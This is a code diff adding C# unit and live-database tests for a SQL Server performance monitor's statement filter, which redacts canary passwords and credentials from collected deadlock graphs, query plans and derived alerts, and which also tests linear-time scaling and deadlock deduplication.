+    private static (DataTableReader Reader, int Count, int Bytes) BprInput(int bytes)
+    {
+        var reports = new List<(string, string?, string?)>();
+        var size = 0;
+        for (var i = 0; size < bytes; i++)
+        {
+            var text = i % 5 == 0 ? StatementScrubCanary.CanaryStatement : "SELECT col" + i + " FROM dbo.t" + i + " WHERE c = @c";
+            var xml = BlockedReportXml(text, StatementScrubCanary.PlainStatement + new string('x', 1000));
+            reports.Add((xml, null, null));
+            size += xml.Length;
+        }
+
+        return (BprReader(reports.ToArray()), reports.Count, size);
+    }
+
+    /// <summary>The input a timing run judges: about <paramref name="bytes"/> of deadlock graphs, a fifth of them
+    /// carrying the canary statement.</summary>
+    private static (DataTableReader Reader, int Count, int Bytes) GraphInput(int bytes)
+    {
+        var graphs = new List<(DateTime, string, string?)>();
+        var size = 0;
+        for (var i = 0; size < bytes; i++)
+        {
+            var text = i % 5 == 0 ? StatementScrubCanary.CanaryStatement : "SELECT col" + i + " FROM dbo.t" + i + " WHERE c = @c";
+            var graph = DeadlockGraph(text, StatementScrubCanary.PlainStatement + new string('x', 1000));
+            graphs.Add((EventTime.AddSeconds(i), graph, null));
+            size += graph.Length;
+        }
+
+        return (DeadlockReader(graphs.ToArray()), graphs.Count, size);
+    }
+
+    /// <summary>Judges one blocked-process buffer of about <paramref name="bytes"/> and returns the seconds it took,
+    /// its size in megabytes, and the writer (for the no-leak check). The input is built before the clock starts.</summary>
+    private static async Task<(double Seconds, double Megabytes, int Count, StatementScrubRecordingWriter Writer)> TimeBprAsync(int bytes)
+    {
+        var (reader, count, size) = BprInput(bytes);
+        var watch = Stopwatch.StartNew();
+        var (_, writer) = await RunBprAsync(BlockingContext(), reader);
+        return (watch.Elapsed.TotalSeconds, size / 1_000_000.0, count, writer);
+    }
+
+    /// <summary>The deadlock-graph twin of <see cref="TimeBprAsync"/>.</summary>
+    private static async Task<(double Seconds, double Megabytes, int Count, StatementScrubRecordingWriter Writer)> TimeDeadlocksAsync(int bytes)
+    {
+        var (reader, count, size) = GraphInput(bytes);
+        var watch = Stopwatch.StartNew();
+        var (_, writer) = await RunDeadlocksAsync(BlockingContext(), reader);
+        return (watch.Elapsed.TotalSeconds, size / 1_000_000.0, count, writer);
+    }
+
+    /// <summary>
+    /// The seconds-per-megabyte of the fastest of <paramref name="runs"/> runs at <paramref name="bytes"/>, with the
+    /// last run's count and writer. The fastest, not the mean: a busy machine only ever adds time, so the minimum is
+    /// the run least touched by it.
+    /// </summary>
+    private static async Task<(double SecondsPerMegabyte, double Seconds, int Count, StatementScrubRecordingWriter Writer)> FastestRateAsync(
+        Func<int, Task<(double Seconds, double Megabytes, int Count, StatementScrubRecordingWriter Writer)>> run, int bytes, int runs)
+    {
+        var best = double.MaxValue;
+        var bestSeconds = double.MaxValue;
+        var count = 0;
+        StatementScrubRecordingWriter? writer = null;
+        for (var i = 0; i < runs; i++)
+        {
+            var result = await run(bytes);
+            best = Math.Min(best, result.Seconds / result.Megabytes);
+            bestSeconds = Math.Min(bestSeconds, result.Seconds);
+            count = result.Count;
+            writer = result.Writer;
+        }
+
+        return (best, bestSeconds, count, writer!);
+    }
+
+    /// <summary>
+    /// A blocked-process ring buffer and a deadlock set of about 4 MB each are judged in time LINEAR in their size.
+    /// The guard's purpose is a judge that goes quadratic on a big buffer, and it is not a clock test: a fixed
+    /// seconds ceiling failed on a busy machine, because a busy machine slows a correct judge too. So the 4 MB
+    /// seconds-per-megabyte is compared with a 1 MB baseline measured in the SAME run, each the fastest of a few
+    /// runs: load scales both, a quadratic judge makes the 4 MB rate about four times the baseline's, and a linear
+    /// one keeps the two equal. The 2.5 limit sits between. Both sides take the fastest of three runs (#5561: the big side took two,
+    /// so a stall across both could fail a correct judge). The absolute ceiling is only a hang backstop, far above
+    /// anything a loaded machine produces.
+    /// </summary>
+    [Fact]
+    public async Task ABlockingRingBufferOfAboutFourMegabytes_IsJudgedInTimeLinearInItsSize()
+    {
+        const int Small = 1_000_000;
+        const int Big = 4_000_000;
+        const double RateGrowthLimit = 2.5;
+        const double BaselineFloorSecondsPerMegabyte = 0.02;
+        const double HangBackstopSeconds = 60;
+
+        await StatementFilterWarmUp.EnsureAsync();
+        await TimeBprAsync(Small);
+        await TimeDeadlocksAsync(Small);
+
+        var bprBase = await FastestRateAsync(TimeBprAsync, Small, 3);
+        var bprBig = await FastestRateAsync(TimeBprAsync, Big, 3);
+        var deadlockBase = await FastestRateAsync(TimeDeadlocksAsync, Small, 3);
+        var deadlockBig = await FastestRateAsync(TimeDeadlocksAsync, Big, 3);
+
+        TestContext.Current.SendDiagnosticMessage(
+            $"R4 timing: {bprBig.Count} reports in {bprBig.Seconds:F2} s ({bprBig.SecondsPerMegabyte:F3} s/MB; 1 MB baseline {bprBase.SecondsPerMegabyte:F3} s/MB), "
+            + $"{deadlockBig.Count} graphs in {deadlockBig.Seconds:F2} s ({deadlockBig.SecondsPerMegabyte:F3} s/MB; 1 MB baseline {deadlockBase.SecondsPerMegabyte:F3} s/MB)");
+        AssertNoNeedle(bprBase.Writer);
+        AssertNoNeedle(bprBig.Writer);
+        AssertNoNeedle(deadlockBase.Writer);
+        AssertNoNeedle(deadlockBig.Writer);
+        Assert.True(bprBig.Seconds < HangBackstopSeconds && deadlockBig.Seconds < HangBackstopSeconds,
+            $"{bprBig.Seconds:F2} s for reports, {deadlockBig.Seconds:F2} s for graphs: past the hang backstop");
+        Assert.True(
+            bprBig.SecondsPerMegabyte <= Math.Max(bprBase.SecondsPerMegabyte, BaselineFloorSecondsPerMegabyte) * RateGrowthLimit,
+            $"reports: {bprBig.SecondsPerMegabyte:F3} s/MB at 4 MB against {bprBase.SecondsPerMegabyte:F3} s/MB at 1 MB is not linear");
+        Assert.True(
+            deadlockBig.SecondsPerMegabyte <= Math.Max(deadlockBase.SecondsPerMegabyte, BaselineFloorSecondsPerMegabyte) * RateGrowthLimit,
+            $"graphs: {deadlockBig.SecondsPerMegabyte:F3} s/MB at 4 MB against {deadlockBase.SecondsPerMegabyte:F3} s/MB at 1 MB is not linear");
+    }
+}
diff --git a/Darling/Darling.Tests/StatementScrubCanary.cs b/Darling/Darling.Tests/StatementScrubCanary.cs
new file mode 100644
index 0000000000..3e93eddd12
--- /dev/null
+++ b/Darling/Darling.Tests/StatementScrubCanary.cs
@@ -0,0 +1,131 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Security;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348: the planted statements every statement-filter test uses. Plain constants and string builders only, with
+/// no Darling types, so Lite.Tests can compile this file by link (precedent: the linked files in
+/// <c>Lite.Tests.csproj</c>).
+/// <para>A secret needle is text that must be gone after the filter. A kept needle is text the filter must leave
+/// alone, so a test also proves the filter did not withhold everything.</para>
+/// </summary>
+internal static class StatementScrubCanary
+{
+    /// <summary>A statement the filter must withhold.</summary>
+    public const string CanaryStatement = "CREATE LOGIN [canary_ssf] WITH PASSWORD = N'S3cret-canary-ssf'";
+
+    /// <summary>A statement the filter must keep.</summary>
+    public const string PlainStatement = "SELECT canary_plain_ssf FROM dbo.t WHERE c = @c";
+
+    /// <summary>An auto-parameterized statement whose text is kept but whose parameter values are not.</summary>
+    public const string AutoParamStatement =
+        "(@1 nvarchar(4000),@2 tinyint)UPDATE [dbo].[ssf_autoparam_canary] set [password] = @1  WHERE [id]=@2";
+
+    /// <summary>Text that must not survive the filter anywhere in a result.</summary>
+    public static readonly string[] SecretNeedles =
+    {
+        "S3cret-canary-ssf",
+        "param-secret-ssf",
+        "const-secret-ssf",
+        "autoparam-secret-ssf",
+    };
+
+    /// <summary>The credential in <see cref="UriStatement"/>.</summary>
+    public const string UriSecret = "Q4rTw8Nzk";
+
+    /// <summary>The first characters of <see cref="UriSecret"/>: all a preview cut before the closing at-sign holds.</summary>
+    public const string UriSecretPartial = "Q4r";
+
+    /// <summary>
+    /// A statement that holds a URI's <c>user:secret@</c>, padded in front so a cut at <paramref name="cutLength"/>
+    /// lands after the first three characters of the secret and before the at-sign that names it (#5320). A preview
+    /// cut BEFORE the statement is judged holds <see cref="UriSecretPartial"/>; one cut after the judgement holds none.
+    /// </summary>
+    public static string UriStatement(int cutLength)
+    {
+        const string Head = "EXEC x @u = N'https://svc:";
+        return new string(' ', cutLength - 3 - Head.Length) + Head + UriSecret + "@host.example/path'";
+    }
+
+    /// <summary>Text that must come through the filter unchanged.</summary>
+    public static readonly string[] KeptNeedles =
+    {
+        "canary_plain_ssf",
+        "param-canary-ssf",
+        "ssf_autoparam_canary",
+    };
+
+    /// <summary>
+    /// A ShowPlanXML with three <c>StmtSimple</c> elements. Statement 1 names the canary statement and carries
+    /// secret parameter and constant values. Statement 2 is the plain statement with its own parameter value.
+    /// Statement 3 is auto-parameterized: its <c>StatementText</c> is kept text, its parameter values are secret.
+    /// </summary>
+    public static string CanaryPlan()
+    {
+        return
+            "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\" Version=\"1.564\" Build=\"16.0.4000.1\">"
+            + "<BatchSequence><Batch><Statements>"
+
+            // Statement 1: the canary statement.
+            + "<StmtSimple StatementText=\"" + Esc(CanaryStatement) + "\" StatementId=\"1\" StatementType=\"CREATE LOGIN\""
+            + " ParameterizedText=\"" + Esc("(@p nvarchar(40))CREATE LOGIN [canary_ssf] WITH PASSWORD = @p") + "\">"
+            + "<QueryPlan CachedPlanSize=\"16\">"
+            + "<RelOp NodeId=\"0\" PhysicalOp=\"Compute Scalar\" LogicalOp=\"Compute Scalar\" EstimateRows=\"1\">"
+            + "<OutputList/>"
+            + "<ComputeScalar><DefinedValues><DefinedValue>"
+            + "<ColumnReference Column=\"Expr1000\"/>"
+            + "<ScalarOperator ScalarString=\"" + Esc("N'const-secret-ssf'") + "\">"
+            + "<Const ConstValue=\"" + Esc("N'const-secret-ssf'") + "\"/>"
+            + "</ScalarOperator>"
+            + "</DefinedValue></DefinedValues></ComputeScalar>"
+            + "</RelOp>"
+            + "<ParameterList>"
+            + "<ColumnReference Column=\"@p\" ParameterDataType=\"nvarchar(40)\""
+            + " ParameterCompiledValue=\"" + Esc("N'param-secret-ssf'") + "\""
+            + " ParameterRuntimeValue=\"" + Esc("N'param-secret-ssf'") + "\"/>"
+            + "</ParameterList>"
+            + "</QueryPlan></StmtSimple>"
+
+            // Statement 2: the plain statement.
+            + "<StmtSimple StatementText=\"" + Esc(PlainStatement) + "\" StatementId=\"2\" StatementType=\"SELECT\">"
+            + "<QueryPlan CachedPlanSize=\"16\">"
+            + "<RelOp NodeId=\"0\" PhysicalOp=\"Clustered Index Scan\" LogicalOp=\"Clustered Index Scan\" EstimateRows=\"1\">"
+            + "<OutputList/>"
+            + "<IndexScan Ordered=\"0\" ForcedIndex=\"0\" NoExpandHint=\"0\">"
+            + "<Predicate><ScalarOperator ScalarString=\"" + Esc("[dbo].[t].[c]=[@c]") + "\"/></Predicate>"
+            + "</IndexScan>"
+            + "</RelOp>"
+            + "<ParameterList>"
+            + "<ColumnReference Column=\"@c\" ParameterDataType=\"int\""
+            + " ParameterCompiledValue=\"" + Esc("N'param-canary-ssf'") + "\""
+            + " ParameterRuntimeValue=\"" + Esc("N'param-canary-ssf'") + "\"/>"
+            + "</ParameterList>"
+            + "</QueryPlan></StmtSimple>"
+
+            // Statement 3: auto-parameterized; the statement text is kept, the parameter values are not.
+            + "<StmtSimple StatementText=\"" + Esc(AutoParamStatement) + "\" StatementId=\"3\" StatementType=\"UPDATE\">"
+            + "<QueryPlan CachedPlanSize=\"16\">"
+            + "<RelOp NodeId=\"0\" PhysicalOp=\"Clustered Index Update\" LogicalOp=\"Update\" EstimateRows=\"1\">"
+            + "<OutputList/>"
+            + "</RelOp>"
+            + "<ParameterList>"
+            + "<ColumnReference Column=\"@1\" ParameterDataType=\"nvarchar(4000)\""
+            + " ParameterCompiledValue=\"" + Esc("N'autoparam-secret-ssf'") + "\"/>"
+            + "<ColumnReference Column=\"@2\" ParameterDataType=\"tinyint\""
+            + " ParameterCompiledValue=\"(7)\"/>"
+            + "</ParameterList>"
+            + "</QueryPlan></StmtSimple>"
+
+            + "</Statements></Batch></BatchSequence></ShowPlanXML>";
+    }
+
+    private static string Esc(string value) => SecurityElement.Escape(value) ?? string.Empty;
+}
diff --git a/Darling/Darling.Tests/StatementScrubDeadlockLiveTests.cs b/Darling/Darling.Tests/StatementScrubDeadlockLiveTests.cs
new file mode 100644
index 0000000000..5a9619c42d
--- /dev/null
+++ b/Darling/Darling.Tests/StatementScrubDeadlockLiveTests.cs
@@ -0,0 +1,175 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348 (statement filter, collection of deadlocks): a deadlock graph the filter withheld WHOLE is stored as the
+/// marker text, the same for every such graph, so its identity is built from the columns the collector parsed before
+/// judging it: the event time, the victim process id and the database. The one-time duplicate cleanup must read two
+/// different deadlocks at the same time as two, a re-read of one as a copy, and a real copy as a copy.
+///
+/// <para><b>#1776 own-store</b> - mints its own scratch database (<see cref="ScratchPostgres"/>) because it runs a
+/// delete path over <c>collect.deadlocks</c>, which the shared fixture must never inherit.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class StatementScrubDeadlockLiveTests
+{
+    private const int Server = -445301;
+    private static readonly DateTime EventTime = DateTime.SpecifyKind(new DateTime(2026, 3, 10, 9, 30, 0), DateTimeKind.Unspecified);
+    private const string Plain = "<deadlock><victim-list><victimProcess id=\"process1\"/></victim-list></deadlock>";
+
+    [Fact]
+    public async Task WholeMarkerDeadlocks_ReReadsAreRemoved_DifferentVictimsAndTimesAreKept_AndARealCopyStillGoes()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live deadlock duplicate cleanup (it mints its own scratch database).");
+
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using (var setup = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await setup.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(setup, ct);
+
+                /* 1, 2 and 3 are three reads of one whole-marker deadlock; 4 is a different victim at the same time;
+                   5 the same victim at another time; 6 and 7 carry no victim id, so nothing tells them apart. */
+                await InsertAsync(setup, 1, EventTime.AddMinutes(1), SensitiveStatements.PlaceholderText, ct, "process1", "db1");
+                await InsertAsync(setup, 2, EventTime.AddMinutes(2), SensitiveStatements.PlaceholderText, ct, "process1", "db1");
+                await InsertAsync(setup, 3, EventTime.AddMinutes(3), SensitiveStatements.PlaceholderText, ct, "process1", "db1");
+                await InsertAsync(setup, 4, EventTime.AddMinutes(4), SensitiveStatements.PlaceholderText, ct, "process9", "db1");
+                await InsertAsync(setup, 5, EventTime.AddMinutes(5), SensitiveStatements.PlaceholderText, ct, "process1", "db1", EventTime.AddSeconds(30));
+                await InsertAsync(setup, 6, EventTime.AddMinutes(6), SensitiveStatements.PlaceholderText, ct, null, "db1");
+                await InsertAsync(setup, 7, EventTime.AddMinutes(7), SensitiveStatements.PlaceholderText, ct, null, "db1");
+                await InsertAsync(setup, 8, EventTime.AddMinutes(8), Plain, ct, "process1", "db1");
+                await InsertAsync(setup, 9, EventTime.AddMinutes(9), Plain, ct, "process9", "db2");
+            }
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var summary = await DeadlockDuplicateCleanup.RunAsync(postgres, logger: null, ct);
+
+            Assert.Equal(3, summary.RowsRemoved);
+
+            await using var verify = new NpgsqlConnection(scratch.ConnectionString);
+            await verify.OpenAsync(ct);
+            var ids = new List<long>();
+            await using (var command = new NpgsqlCommand("SELECT deadlock_id FROM collect.deadlocks ORDER BY 1", verify))
+            await using (var reader = await command.ExecuteReaderAsync(ct))
+            {
+                while (await reader.ReadAsync(ct))
+                {
+                    ids.Add(reader.GetInt64(0));
+                }
+            }
+
+            Assert.Equal(new List<long> { 1, 4, 5, 6, 7, 8 }, ids);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+        }
+    }
+
+    /* The stored-copy read the pre-insert dedupe runs must hand back, for a whole-marker row, exactly the identity
+       the collector computes for the row it is about to write. */
+    [Fact]
+    public async Task TheStoredIdentityRead_GivesAWholeMarkerRowTheIdentityTheCollectorComputes()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live deadlock duplicate cleanup (it mints its own scratch database).");
+
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var setup = new NpgsqlConnection(scratch.ConnectionString);
+            await setup.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(setup, ct);
+
+            await InsertAsync(setup, 1, EventTime.AddMinutes(1), SensitiveStatements.PlaceholderText, ct, "process1", "db1");
+            await InsertAsync(setup, 2, EventTime.AddMinutes(2), SensitiveStatements.PlaceholderText, ct, "process9", null);
+            await InsertAsync(setup, 3, EventTime.AddMinutes(3), SensitiveStatements.PlaceholderText, ct, null, "db1");
+            await InsertAsync(setup, 4, EventTime.AddMinutes(4), Plain, ct, "process1", "db1");
+
+            var stored = new HashSet<(DateTime Time, string Graph)>();
+            await using (var command = new NpgsqlCommand(DarlingCollectorRunner.StoredDeadlockIdentitySql, setup))
+            {
+                command.Parameters.AddWithValue(Server);
+                command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Timestamp, Value = new[] { EventTime } });
+                command.Parameters.AddWithValue(EventTime.AddDays(-1));
+                await using var reader = await command.ExecuteReaderAsync(ct);
+                while (await reader.ReadAsync(ct))
+                    stored.Add((reader.GetDateTime(0), reader.GetString(1)));
+            }
+
+            static DeadlocksCollector.Row Row(string graph, string? victim, string? db) =>
+                new() { DeadlockTime = EventTime, GraphXml = graph, VictimProcessId = victim, DatabaseName = db };
+
+            /* A re-read of a stored whole-marker row is dropped; another victim or database is not; a row with no
+               victim id has no identity; real text still matches by graph text alone. */
+            var rows = new List<DeadlocksCollector.Row>
+            {
+                Row(SensitiveStatements.PlaceholderText, "process1", "db1"),
+                Row(SensitiveStatements.PlaceholderText, "process9", null),
+                Row(SensitiveStatements.PlaceholderText, "process1", "db2"),
+                Row(SensitiveStatements.PlaceholderText, "process7", "db1"),
+                Row(SensitiveStatements.PlaceholderText, null, "db1"),
+                Row(Plain, "anything", "elsewhere"),
+            };
+
+            var kept = DeadlocksCollector.Instance.DropAlreadyStored(rows, stored);
+
+            Assert.Equal(new[] { 2, 3, 4 }, kept.Select(r => rows.IndexOf(r)).ToArray());
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+        }
+    }
+
+    private static async Task InsertAsync(NpgsqlConnection connection, long id, DateTime collectionTime, string graph, CancellationToken ct,
+        string? victim = null, string? database = null, DateTime? deadlockTime = null)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO collect.deadlocks (deadlock_id, collection_time, server_id, server_name, deadlock_time, deadlock_graph_xml, victim_process_id, database_name)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8)", connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bigint, Value = id });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = collectionTime });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = Server });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = "server-" + Server.ToString(CultureInfo.InvariantCulture) });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = deadlockTime ?? EventTime });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = graph });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = (object?)victim ?? DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = (object?)database ?? DBNull.Value });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/StatementScrubDerivedStoreTests.cs b/Darling/Darling.Tests/StatementScrubDerivedStoreTests.cs
new file mode 100644
index 0000000000..48983a4ad4
--- /dev/null
+++ b/Darling/Darling.Tests/StatementScrubDerivedStoreTests.cs
@@ -0,0 +1,312 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Notifications;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348, #5320 (lane R10, Layer 0b): the derived stores judge their own text where they write it. A finding or an
+/// alert is built from rows a collector stored, and a row stored before the collection-time filter existed can still
+/// hold a statement, so <c>story_text</c>, <c>drill_down_json</c>, <c>detail_text</c> and <c>context_json</c> go
+/// through <see cref="DerivedStoreScrub"/> at the INSERT. Clean input comes back as the same instance, so a clean row
+/// is stored byte for byte as before.
+/// </summary>
+public sealed class StatementScrubDerivedStoreTests
+{
+    private static string Fresh(string text) => new(text.AsSpan());
+
+    private static void AssertNoSecret(string? value)
+    {
+        Assert.NotNull(value);
+        foreach (var needle in StatementScrubCanary.SecretNeedles)
+        {
+            Assert.DoesNotContain(needle, value, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void Text_ReturnsTheSameInstanceOnCleanInput()
+    {
+        var clean = Fresh("Waits rose on " + StatementScrubCanary.PlainStatement);
+        Assert.Same(clean, DerivedStoreScrub.Text(clean));
+        Assert.Equal(string.Empty, DerivedStoreScrub.Text(string.Empty));
+        Assert.Null(DerivedStoreScrub.Text(null));
+    }
+
+    [Fact]
+    public void Text_WithholdsANamedStatement()
+    {
+        var result = DerivedStoreScrub.Text(Fresh("Blocked on " + StatementScrubCanary.CanaryStatement));
+        Assert.Equal(SensitiveStatements.PlaceholderText, result);
+    }
+
+    [Fact]
+    public void Json_ReturnsTheSameInstanceOnCleanInput()
+    {
+        var clean = Fresh("{\"rows\":[{\"query_text\":\"" + StatementScrubCanary.PlainStatement + "\",\"n\":3}]}");
+        Assert.Same(clean, DerivedStoreScrub.Json(clean));
+        Assert.Null(DerivedStoreScrub.Json(null));
+    }
+
+    [Fact]
+    public void Json_ReplacesOnlyTheNamedValueAndKeepsTheRest()
+    {
+        var json = JsonSerializer.Serialize(new
+        {
+            rows = new[]
+            {
+                new { query_text = StatementScrubCanary.CanaryStatement, n = 1 },
+                new { query_text = StatementScrubCanary.PlainStatement, n = 2 },
+            },
+        });
+
+        var result = DerivedStoreScrub.Json(json);
+
+        AssertNoSecret(result);
+        Assert.Contains(SensitiveStatements.PlaceholderText, result, StringComparison.Ordinal);
+        Assert.Contains("canary_plain_ssf", result, StringComparison.Ordinal);
+        using var parsed = JsonDocument.Parse(result!);
+        Assert.Equal(2, parsed.RootElement.GetProperty("rows").GetArrayLength());
+    }
+
+    [Fact]
+    public void Json_StoresNullForADocumentTheFilterCannotRead()
+    {
+        Assert.Null(DerivedStoreScrub.Json("{ this is not json"));
+    }
+
+    /// <summary>The Darling writers call the helper; reverting either call fails this on the old shape.</summary>
+    [Fact]
+    public void TheDarlingWritersCallTheHelper()
+    {
+        var finding = File.ReadAllText(RepoPath("Darling/PerformanceMonitor.Darling.Analysis/PgFindingStore.cs"));
+        Assert.Contains("DerivedStoreScrub.Text(finding.StoryText)", finding, StringComparison.Ordinal);
+        Assert.Contains("DerivedStoreScrub.Json(DrillDownSerializer.Serialize(finding.DrillDown))", finding, StringComparison.Ordinal);
+
+        var alert = File.ReadAllText(RepoPath("Darling/PerformanceMonitor.Darling.Service/PgAlertHistoryStore.cs"));
+        Assert.Contains("DerivedStoreScrub.Text(record.DetailText)", alert, StringComparison.Ordinal);
+        Assert.Contains("DerivedStoreScrub.Json(record.ContextJson)", alert, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The managed-role <c>config.record_custom_alert_resolution</c> function (R10 verdict: it cannot hold a
+    /// statement). Its only caller is <c>CustomAlertEvaluator.WriteTeardownResolutionAsync</c>, which builds
+    /// <c>detail_text</c> from the server name, the operator-typed rule name (newline-stripped and capped) and one of
+    /// three fixed reasons. Nothing there reads a collected row. If that message ever starts to carry collected text,
+    /// this pin fails and the write has to go through <see cref="DerivedStoreScrub.Text"/>.
+    /// </summary>
+    [Fact]
+    public void TheCustomAlertResolutionRowCarriesNoCollectedText()
+    {
+        var evaluator = File.ReadAllText(RepoPath("Darling/PerformanceMonitor.Darling.Service/CustomAlertEvaluator.cs"));
+        Assert.Contains("$\"{serverName}: {safeName} resolved because {reason}\"", evaluator, StringComparison.Ordinal);
+        Assert.Contains("RecordCustomAlertResolutionAsync(serverId, serverName, title, message)", evaluator, StringComparison.Ordinal);
+
+        var callers = Directory.EnumerateFiles(RepoPath("Darling"), "*.cs", SearchOption.AllDirectories)
+            .Where(f => !f.Contains($"{Path.DirectorySeparatorChar}obj{Path.DirectorySeparatorChar}", StringComparison.Ordinal)
+                     && !f.Contains($"{Path.DirectorySeparatorChar}bin{Path.DirectorySeparatorChar}", StringComparison.Ordinal)
+                     && !f.Contains($"{Path.DirectorySeparatorChar}Darling.Tests{Path.DirectorySeparatorChar}", StringComparison.Ordinal))
+            .Where(f => File.ReadAllText(f).Contains(".RecordCustomAlertResolutionAsync(", StringComparison.Ordinal))
+            .Select(Path.GetFileName)
+            .ToList();
+        Assert.Equal(new[] { "CustomAlertEvaluator.cs" }, callers);
+    }
+
+    private static string RepoPath(string relative, [CallerFilePath] string thisFile = "") =>
+        Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "..", relative));
+}
+
+/// <summary>
+/// The live half: a finding and an alert built from a raw planted source row store the marker in the real tables.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class StatementScrubDerivedStoreLiveTests
+{
+    private const int FindingServer = -532010;
+    private const int AlertServer = -532011;
+
+    private static CancellationToken Ct => TestContext.Current.CancellationToken;
+
+    private static async Task RunLiveAsync(Func<NpgsqlDataSource, NpgsqlConnection, Task> body)
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live derived-store scrub test.");
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(Ct);
+        await PgMigrations.MigrateAsync(connection, Ct);
+        await DeleteTestRowsAsync(connection, Ct);
+
+        await using var postgres = NpgsqlDataSource.Create(connectionString!);
+        var bodySucceeded = false;
+        try
+        {
+            await body(postgres, connection);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteTestRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static async Task DeleteTestRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using var cleanup = new NpgsqlCommand(
+            $"DELETE FROM analysis_findings WHERE server_id = {FindingServer}; DELETE FROM config_alert_log WHERE server_id = {AlertServer};",
+            connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+
+    private static AnalysisFinding Finding(string hash, string story, Dictionary<string, object>? drillDown)
+    {
+        return new AnalysisFinding
+        {
+            ServerId = FindingServer,
+            ServerName = "derived-scrub-finding",
+            Category = "queries",
+            StoryPath = "SCRUB_A -> SCRUB_B",
+            StoryPathHash = hash,
+            IncidentId = "inc-" + hash,
+            Severity = 1.2,
+            Confidence = StoryConfidence.Compute(1, 5, 2),
+            FactCount = 2,
+            RootFactKey = "SCRUB_A",
+            RootFactValue = 1.0,
+            AnalysisTime = DateTime.UtcNow,
+            StoryText = story,
+            DrillDown = drillDown,
+        };
+    }
+
+    private static Dictionary<string, object> DrillDown(string statement) => new()
+    {
+        ["top_queries"] = new[]
+        {
+            new Dictionary<string, object> { ["query_text"] = statement, ["executions"] = 7 },
+        },
+    };
+
